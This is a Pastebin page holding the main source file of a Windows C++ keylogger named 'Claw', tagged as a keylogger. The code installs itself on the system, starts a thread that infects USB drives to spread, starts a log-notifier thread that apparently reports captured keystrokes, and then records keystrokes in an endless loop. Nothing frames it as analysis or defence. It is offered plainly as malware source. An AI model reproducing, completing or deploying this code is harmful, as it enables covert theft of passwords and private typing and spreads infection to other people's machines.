Advertisement
FlyFar

src/main.cpp

Aug 27th, 2023
1,211
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 0.67 KB | Cybersecurity | 0 0
  1. #include "Claw.h"
  2.  
  3. int main
  4. ()
  5. {
  6.     Claw crs;
  7.     crs.GetKeyLoggerInformation(); // Load information
  8.     crs._infect(); // Infect the system
  9.     SetCurrentDirectory((LPSTR)crs.HQ.c_str()); // Set working directory to Install location
  10.    
  11.     HANDLE ht = CreateThread( NULL, 0, USBINFECT,NULL, 0, NULL);  // Create Usb Infection thread
  12.     if (ht == NULL)
  13.     {
  14.         exit(1);
  15.     }
  16.  
  17.     HANDLE hThread = CreateThread( NULL, 0, NOTIFIER, NULL, 0, NULL); // Create Log Notifier thread
  18.     if (hThread == NULL)
  19.     {
  20.         exit(1);
  21.     }
  22.     // Start Keylogging
  23.     while(true)
  24.     {
  25.         Sleep(10);
  26.         crs.Keylogger();
  27.     }
  28.    
  29.     return 0;
  30. }
Tags: Keylogger
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement